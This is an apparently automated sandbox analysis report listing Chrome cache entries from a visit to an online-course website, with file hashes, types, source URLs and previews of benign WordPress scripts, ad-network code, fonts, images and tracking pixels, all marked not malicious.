Preview:	/! This file is auto-generated /.window.wp=window.wp\|\|{},function(i){var e="undefined"==typeof _wpUtilSettings?{}:_wpUtilSettings;wp.template=_.memoize(function(t){var n,s={evaluate:/<#([\s\S]+?)#>/g,interpolate:/\{\{\{([\s\S]+?)\}\}\}/g,escape:/\{\{([^\}]+?)\}\}(?!\})/g,variable:"data"};return function(e){return(n=n\|\|_.template(i("#tmpl-"+t).html(),s))(e)}}),wp.ajax={settings:e.ajax\|\|{},post:function(e,t){return wp.ajax.send({data:_.isObject(e)?e:_.extend(t\|\|{},{action:e})})},send:function(e,n){var t;return _.isObject(e)?n=e:(n=n\|\|{}).data=_.extend(n.data\|\|{},{action:e}),n=_.defaults(n\|\|{},{type:"POST",url:wp.ajax.settings.url,context:this}),(e=(t=i.Deferred(function(t){n.success&&t.done(n.success),n.error&&t.fail(n.error),delete n.success,delete n.error,t.jqXHR=i.ajax(n).done(function(e){"1"!==e&&1!==e\|\|(e={success:!0}),_.isObject(e)&&!_.isUndefined(e.success)?t[e.success?"resolveWith":"rejectWith"](this,[e.data]):t.rejectWith(this,[e])}).fail(function(){t.rejectWith(this,arguments

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1117)
Category:	downloaded
Size (bytes):	1152
Entropy (8bit):	5.2223725139649
Encrypted:	false
SSDEEP:	24:Q77ui16S+JLvByxZARRtvfQJXDaaoHzHECbMsCsm1hKBM1XK1u5uf+gPc97Xrn:Q7F6d1Jyx6hvfQE3TECU04UWgW77
MD5:	3980359F2EC1A134F3D49DC1101ECE9E
SHA1:	62B93CB0F40B5DCE2A1D3ADDC5F0E2083A840B05
SHA-256:	79BA51C41761B59DFE845CFF9612057F041A63B757214C9B35BB11EA79BC3830
SHA-512:	78FD3E82F6732F13DDA52D1EA7527021DF15515739F21CCB63EAAC345222363F42C2BE0A25790D0144687AFA32C13DCB9F6E613A3AB0F8B5FE40EB09679BC1F8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-admin/js/media-upload.min.js
Preview:	/! This file is auto-generated /.window.send_to_editor=function(t){var e,i="undefined"!=typeof tinymce,n="undefined"!=typeof QTags;if(wpActiveEditor)i&&(e=tinymce.get(wpActiveEditor));else if(i&&tinymce.activeEditor)e=tinymce.activeEditor,window.wpActiveEditor=e.id;else if(!n)return!1;if(e&&!e.isHidden()?e.execCommand("mceInsertContent",!1,t):n?QTags.insertContent(t):document.getElementById(wpActiveEditor).value+=t,window.tb_remove)try{window.tb_remove()}catch(t){}},function(d){window.tb_position=function(){var t=d("#TB_window"),e=d(window).width(),i=d(window).height(),n=833<e?833:e,o=0;return d("#wpadminbar").length&&(o=parseInt(d("#wpadminbar").css("height"),10)),t.length&&(t.width(n-50).height(i-45-o),d("#TB_iframeContent").width(n-50).height(i-75-o),t.css({"margin-left":"-"+parseInt((n-50)/2,10)+"px"}),void 0!==document.body.style.maxWidth&&t.css({top:20+o+"px","margin-top":"0"})),d("a.thickbox").each(function(){var t=d(this).attr("href");t&&(t=(t=t.replace(/&width=[0-9]+/g,"")).

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	284
Entropy (8bit):	4.851706036805304
Encrypted:	false
SSDEEP:	6:9F6aiL+3CU3dc6NKwHFgrwnwlWlHCVqfLuUDh6YvwHFUw/G4WErn:9KLCCU3+6gwHMwnwlsHbqUDsYvwH+w/J
MD5:	447712F49EF92D24EDA0381882E5F00B
SHA1:	B041299AF91182F0D7A997769CD20E3A2F7EBEF4
SHA-256:	566D4C5DFEFC9C4D867E6BEF080917A4273B4228731A8700E81F1763EAE3D861
SHA-512:	2C9892DBEB279EA236973EEEE5833A0F7884AE52EB59A835EF0504005A1DD95D818CBA5799611E0FCAD4071DC2A10FACFC9B81187397506092FE0CB7CF82C224
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/ele-custom-skin/assets/js/ecs.js
Preview:	.var ECS_hooks = {};..var ECS_Columns_Count=0;..function ECS_add_action(name, func) {. if(!ECS_hooks[name]) ECS_hooks[name] = [];. ECS_hooks[name].push(func);.}..function ECS_do_action(name, ...params){. if(ECS_hooks[name]) . ECS_hooks[name].forEach(func => func(...params));.}

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (53350)
Category:	downloaded
Size (bytes):	418718
Entropy (8bit):	5.291070370720787
Encrypted:	false
SSDEEP:	3072:cPYlkbjP07kp7wPFjGPPV7e1Hz4c9CFOgh4wLVaT5T1cMouJw0jc8Q0Gzk3YVX3r:c+ILp7n3HU/Oy5TrouJR55i
MD5:	CF604B4D24F365AE6B776D418A47D523
SHA1:	A2AB48975B5035F3B2F7EA9B869E7DBA7108C7DA
SHA-256:	296500C2ABE5E999571F83815FB97251D3B12AF485430C5C46F95BF5CEC0BB56
SHA-512:	65F3645678A6AE80D8C33BBDF03C12A16BD7420BBDA35235C204B93396A4AE37CCBFF72D94A8FC76F80B632829B4B01F94EFD5383E65922CA7736F245E67D41E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/js/tutor.min.js
Preview:	(()=>{var n={1237:(e,t,r)=>{"use strict";r.r(t);r.d(t,{default:()=>c});function D(e){"@babel/helpers - typeof";return D="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},D(e)}function _(){"use strict";/! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE /_=function e(){return i};var i={},e=Object.prototype,c=e.hasOwnProperty,t="function"==typeof Symbol?Symbol:{},a=t.iterator\|\|"@@iterator",r=t.asyncIterator\|\|"@@asyncIterator",n=t.toStringTag\|\|"@@toStringTag";function o(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{o({},"")}catch(e){o=function e(t,r,n){return t[r]=n}}function u(e,t,r,n){var a=t&&t.prototype instanceof l?t:l,o=Object.create(a.prototype),i=new S(n\|\|[]);return o._invoke=functio

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://rtb.openx.net/sync/dds?ox_sc=1&ox_init=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4352
Entropy (8bit):	5.397517794607866
Encrypted:	false
SSDEEP:	96:1OLNFlOLNTFZKOLNZOLNW3yOLNwOLN8Vc+umOLN+1N1OCNnlOCNiFZKOCNWOCND5:ANFQNDN8NW3XNtNGqN+lNn1NhN6ND3eo
MD5:	4E3C0364981FEF592C32B4E469B7A715
SHA1:	49A51C52BC78D231B6F0CC2705BE21FB2570DCEE
SHA-256:	396BD1AB182A204C8C227C5D6AEF6CBE3A3481500E816635B408DA715695DFA1
SHA-512:	5D577699EC2429000091F32BC2C91E38C1341834D9BC16AF5EDB2D7040D5B55E94893381C0B583B703226C396C842EB9970B5754D0EBEA364D4E9FB5158BF3C8
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Roboto%3A400%2C700
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ greek-ext /.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');. unicode-range: U+1F00-1FFF;.}./ greek */.@font-face {. font-family: 'Roboto';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');. unicode-range: U+0370-0377

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454)
Category:	downloaded
Size (bytes):	318980
Entropy (8bit):	5.344460335993523
Encrypted:	false
SSDEEP:	3072:xWwcIEc1pyzLwxwrig/s/sntxdcjYXyl0C/TGjXaf1EZ4n5BL//Q1jmK8+zSuH0n:xX2FtxdcUCl0CrGGf1EZ4n5h/QxRzSX
MD5:	B29383C325A8C36FEBA521F336DA1B07
SHA1:	035D905EFC1EF59F660750E0E65B0675BB785867
SHA-256:	E04D736E491A7CA07F44D420AE16E86465B9492DE559FD7AC0CF5F2E42E9DEC1
SHA-512:	CB13CEAFD54D25C9A07C20143F54F9309DC6901568AD80CD3C98010B5A73B189E020AB27E17C625CFD5F426C7AA6D2A2064A189DEF6783AAC0776C92C7B48462
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/tags/3861/bdbef8b1a73dc128dd0d.min.js
Preview:	/! For license information please see bdbef8b1a73dc128dd0d.min.js.LICENSE.txt /.(self.mvWrapperJsonp=self.mvWrapperJsonp\|\|[]).push([[3861],{471:(e,t,n)=>{"use strict";n.d(t,{b6:()=>f,kX:()=>u,m1:()=>l,sM:()=>d});var r=n(4942),i=n(885),o=n(2982),a=n(9823);function c(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function s(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?c(Object(n),!0).forEach((function(t){(0,r.Z)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):c(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var d=0,u=1,l=2;function f(e){var t=e.apiName,n=e.apiVersion,c=e.apiArgs,f=void 0===c?["command","callback","parameter","version"]:c,p=e.callbackArgs,g=void 0===p

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/sd?id=540394477&val=1463463957264549828&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 63, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8173
Entropy (8bit):	7.954720950123101
Encrypted:	false
SSDEEP:	192:PgdAPjyPGFkKZxCjmpCQuWRpjnVmf/FkFKz5GovLgz:IdLEscCQuop7VpYsz
MD5:	999C11977E39ED81499BD61A18074D30
SHA1:	BBE658382A2310C09F974291BE514E8225D8666A
SHA-256:	6C316A2EFDCDE1E5899E797265EF506D20C00C9077D0B42891D9F86A21AEFC11
SHA-512:	117340EC9AEBD2AA5B0403EF551DD6E6133272460EAF559F93D3F1D649E4D28527E26B8C04E5238E02779C120AE8A10A1D35426BF2DD479AB14EF69EF475DC31
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......?.....@QBS....IDATx..U.VM..U.....n...TP/,,.......D..[..D.VT......X?...........`...3{V.+....(..aJfI.D.0%.8..iJ.p......~..m.o.L..........~..i..w..u.O..u,..C...w.....?~...........^_.~.3..I.&.....?$l..C.........&!...=\|.C^..=B..Qz.....>...>p.a.8....g.Q0.7\....}.....#.Z/PJY.54z.t.q...a..... @.X#..%.....G..r.~.)....h......o.j.\|.....P..k.._.T...[@.3..yc.H........s....Q.h..E..CC......#.TqR(_...;jOl.`p...g3...q<~d..D`. .Lr..b.>...@....[....)....=#...l.f\9Ns..6......0 4...:Q..>,'...w...7o.....}.._..fc_.?....$t.(..... ......O....x..9.D.....s.e/.......Zk"...:1#....A......KQ\.S....l...Q...(..7...{....K...X(o.... ........Y.._O....*9.#.mD....E..m.l...v.Z.p.B.Wt..-[.l..7.v........Om...6..\|[.x.].x.......].d3f.)S..C.....q...$.......v..M....1......kn.}.^.\|..-.Q.+.+..?~.._...q..u.....w....Da..W..~.{...#Gl...6m.4.....<...f...rc.q.h.".......o....>..G....I.N.].v...;w.(.....1.^&b..c...t..Y...M.6...G.......K...'O.K.&.e..&L.....C..}s.

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2553)
Category:	downloaded
Size (bytes):	23530
Entropy (8bit):	5.497656132776961
Encrypted:	false
SSDEEP:	384:kM/aDTs87Jbt81zUbdLZNaAsoSfX/KPH7T3BZdeX2hGWNH0pKyzy4dYlkWyv7S/v:J/aXskJt8xEdLZNaNtfX/KPH712X2hGK
MD5:	7FBC48EABE9BB1BEF523CF346C9E5363
SHA1:	FAB1C4A60DD82A0EA5EC61EE75A9D3D9DBA2472B
SHA-256:	51586EC2D56DC12C32B65B0612D89695B3A5B7D0C91592ACAD6EC8A04F8701AA
SHA-512:	EC7DED2166D3A59AF2A7EF2D792753007F4F7C872FE1842D9340080580BB4C56951F2C5DBC4E4BA71BAC8D1B43CF961FC10BF3336BF7F5980DD972B559B2F43E
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/pagead/js/r20240409/r20110914/abg_lite_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var m=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=m,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1}function ba(a){return a};function ca(a){m.setTimeout(()=>{throw a;},0)};var ea=aa(610401301),fa=aa(188588736);var n;const ha=m.navigator;n=ha?ha.userAgentData\|\|null:null;function ia(a){return ea?n?n.brands.some(({brand:b})=>b&&-1!=b.indexOf(a)):!1:!1}function q(a){var b;a:{if(b=m.navigator)if(b=b.userAgent)break a;b=""}return-1!=b.indexOf(a)};function r(){return ea?!!n&&0<n.brands.length:!1}function ja(){return r()?ia("Chromium"):(q("Chrome")\|\|q("CriOS"))&&!(r()?0:q("Edge"))\|\|q("Silk")};function ka(a,b){return Array.prototype.indexOf.call(a,b,void 0)};function la(a){la[" "](a);return a}la[" "]=function(){};!q("Android")\|\|ja();ja();q("Safari")&&(ja()\|\|(r()?0:q("Coast"))\|\|(r()?0:q("Opera"))\|\|(r()?0:q("Edge"))\|\|(r()?ia

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	227678
Entropy (8bit):	5.602117037939354
Encrypted:	false
SSDEEP:	3072:yD43EPxzlNI8NyCL+zLU+2OUvkalwCk1SLY5bUQif2U:y1NI8NyCL+zL4OUvkWwyLAbUzfR
MD5:	AFC361A16F7BCBB4475CE691451744B8
SHA1:	C81746EB67C1C06AE48423491684FA25D6E8738C
SHA-256:	44D69A9CDA27BF4AEE5C09D55DB174A103F542AB2472EAC9FCBEE511ECC49F93
SHA-512:	46291AC5F202EF0A2FB433A444986DEB4DBFED841CA7AE4F723950A45B8C198FC73F94CACA934DC04BDBE9C6697C87083A155E09F6E19C00DB9A5FCE0791909F
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/480.eddbcc09.chunk.js
Preview:	"use strict";(self.webpackChunk_mediavine_faves_ui=self.webpackChunk_mediavine_faves_ui\|\|[]).push([[480],{4388:(e,t,n)=>{n.d(t,{wN:()=>o,wv:()=>i});let i=function(e){return e.BookmarkCountDesc="bookmarkCountDesc",e.PublishedAtDesc="publishedAtDesc",e}({}),o=function(e){return e.BookmarkActionPack="bookmarkActionPack",e.ClickToSubscribe="clickToSubscribe",e.CreateActionPack="createActionPack",e.EmailLink="emailLink",e.ExclusiveContent="exclusiveContent",e.Imported="imported",e.LockedPrintDialog="lockedPrintDialog",e.LoginActionPack="loginActionPack",e.Resubscribed="resubscribed",e.SdkActionPack="sdkActionPack",e.SignUpActionPack="signUpActionPack",e.SmartLock="smartLock",e.Spotlight="spotlight",e}({})},6900:(e,t,n)=>{n.d(t,{c:()=>v});var i=n(2477),o=n(9924),r=n(3040),a=n(2984),s=n(9504),c=n(1272),l=n(6456),d=n(3852),u=n(1580),m=n(676),p=(0,i.cp)("div").withConfig({displayName:"AddedBookmarkTooltip___StyledDiv",componentId:"sc-1bzzq13-0"})(["",""],(e=>e._css2)),g=(0,i.cp)("div").withConf

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 80x45, components 3
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.557001046798241
Encrypted:	false
SSDEEP:	48:emoggC3WdnAFd0QBZponG9c6IJurR3emMNRQ7BR:emoG3WASoMQQoujNRQf
MD5:	781541176834C8E5B42013C2AA509B07
SHA1:	EA215FB6F928CA74E809F780F1DBECC85CC893A3
SHA-256:	E07B7237BDE036CDDE225A085EC5B7245A5B35D7BA2D89CC5981AACBA23D51CA
SHA-512:	03193168878347C0C7889B30A95D19529351E1AAEC2E84387C458E9879F5701C75B1AC947789FE007CDF333B0DF95C8B0AB7E61C2A529B9156A8050235E7FDAF
Malicious:	false
Reputation:	low
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......-.P.."..............................................7....Yg.9....FT..kk...O.`..j^@.....7_...%.i.>7..1p..e!.......................................Q.....?..........................................._...4.........................!..1..."2a.#$AQ.....6Cq..........?.........L.p..?.5/LD..I{..o..mI`."A...J..j.......l..m8.?I.....V\.......R...^..gvTE...`.k.Xt.$.u.Z.....a%.........e......._%.......H.:.^zB./.=.+kag..!.........._.YE..jT.z.;p.........h....!....N.~.v.v..F>1.[k_..H..C.....p+i9.....Kn..ji}.w....G"..#%c...E.#$.s..}.T.w.Q.RY.6....... .4........K.....Z..bs.-...Mu\VZ2c.Ej..R.....G..T...5...SE.)...!..?.+.RB....A.:....Th..Km..........1..W..![.~\|..M2RR....f$.......2..@...6..,m.%.S......'U.#S.Q.\i.`..6l........nMB7..J......u%.....M%C,...z.X...:...V......Y1.)..[Mq.0d.....P...6.$##..R..Q](.b.Y{{

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 600x338, components 3
Category:	dropped
Size (bytes):	41778
Entropy (8bit):	7.983827086194037
Encrypted:	false
SSDEEP:	768:M2eimOF0lsdYkBmavn7IY6xqDUb0//DavmFPb936mMSvmeUi:M1aasdYqjn7Ex4Ub0pb936OmeUi
MD5:	95EA5189C97897BCA142A8099A52F769
SHA1:	13945CDA9EB5D9DCD374B14A2EAE6D44912D4073
SHA-256:	19F1B4692071A96CB9D215D4EA181AE705FAE0ABF6B828A31A41D0FA29AA3E0A
SHA-512:	12EF4A5D8CDFCFA7DCF061A7F90A9AC0EFFB12EE84ED775E89C734DF3DE1EEEC78C50FA9A558AFC53D444F089D4E98E777A03CA1C3C4546E1A0B0093AC8A67F0
Malicious:	false
Reputation:	low
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......R.X..".................................................'.[1....H.mK..r[.....u.<...R.t....z.o.}W..o.38..R.......Q....0tF.m.!<......]q...&y....i...S...r...i...\|.QJG..}.....n...$... .Y.._\|sq.....p.E.. T.....m.....A.c.M..6J}.n.T....}..jG.%.A....E6ha.......$8...E....R.D....b.\|.\._Y...Mj..~\.5.....3rS@..^u...pe2.....^sLx.....U.....p5..@.H.d....r..z.[...f~...P".l<...q ..&.I...C.MLv,.O...q.\|.h....Nb....{E.6...V.!..W.}dG.......4q.a...xXy.X--...;:%......;...6.Q..n...).a. .....CZ....C...O.9...&b.@..0..)....i.n.T&.C..b....l-..Uqf.....l...6......e...[..$..r..s..=%0..g..y. Y~.h.+.x..5_4H.._.-q.....JX...EF}..n.^M~......q<.............2\|<....P..6..O.z0i...4..B.fZY.P.W}.....pQP..........t\.......gz".".W".?...E.o...p(..z.*....B....M....D0..q6X,wnJ$3^..../.yiZ\|........!..t.%3D...f\.Y,...

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	387
Entropy (8bit):	5.964238003796684
Encrypted:	false
SSDEEP:	12:YK5Chlp8ht3WNqf0pzBFWBaWF8rNoyUP6KA:YK+8ht3WkMplFWBFyNJQLA
MD5:	0583EBB2EB9888F3A30F3FA8E9F256F9
SHA1:	031D8C1DDA371508A544D9478242140AEC759CC5
SHA-256:	951F51F8DA0B6B3D60FF7E12E42C1B14CAC6D1DB085663B5D3EC0B4B6BF7C643
SHA-512:	E23B7B9536EC0DFC6BB9F6B34D1858148E9336129BEB61C0908AAB92B54925D931F1C415FF13548A27D6A5791B0EF3EC545A1391733636ECD06088D109608EFA
Malicious:	false
Reputation:	low
URL:	https://imp-dev.mediavine.com/impkey?&bidder=rubicon_s2s&cpm=2.141347428&adId=220289dfccd7408&sk=V1:X3Qzy0IfPu/f72kp:LirggY+1tsFYi9yECbHAPbKx3oaOhrGmuOwB2iPy3dnDuWnHgbaDyrsTo6qLZ72DJzuaBwguqFj/+A==
Preview:	{"hb":"V1:NKIJ+3scK4Sd5/tK:iV23dWwv6oe3l9Dm4dgK2Th5QemD0U3sOdUCF2nmPLuyrdKVlatibUeaJsvVhAz40dHkGK3RPOzfIEvtrIrh4r3H8RCaHRAivZjw4OB4tpQN","adx":"V1:x4zFAk5ByIU3w3kq:zRF7YE9Wmuo/HLj6udAAdRhChtsXkXsk76vAPP5dShBIL/P8SU/AGrXSrd7Q8V02IGIt45z8Y0b7us6kKzaSd4lo9Gy+uqSAwnyTJg==","unf":"V1:giZdv1XuFthB5EnO:evpBDl9Kno/z/TtiUU7s/yUY5TLqrffVBOqCdb188/WuRM2M2HXdcQgtSa1wVKVYHKFl5y6EAqCheM3Ja34bPg=="}

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://cdn.thinkific.com/assets/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	77
Entropy (8bit):	3.7011434673082864
Encrypted:	false
SSDEEP:	3:3FFiAK/kWNuR48FLHWKQLvaSdNY:3FFi3bNuRbWXaQY
MD5:	AED561F47F9067D816F843E91F75BC38
SHA1:	4713D30DE4DD006076530A009FEC9710998BFB9B
SHA-256:	6C200F99EAC66FDF4CA9A9817FDCD86C48CA228F25E593462E11A980659A189D
SHA-512:	9907882DE51D3FA699829D0F956AEEE1C651035CCB358D7A82CF6E4ADD649FA5492E49940FCB6366F7241E5349FADFE7F073B71DEDCF2BE20A41D5F5FD956140
Malicious:	false
Reputation:	low
URL:	https://scripts.mediavine.com/flooring/countryLookup
Preview:	{.. "geo": {.. "state": "NY",.. "country_code": "US".. }.. }

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43353)
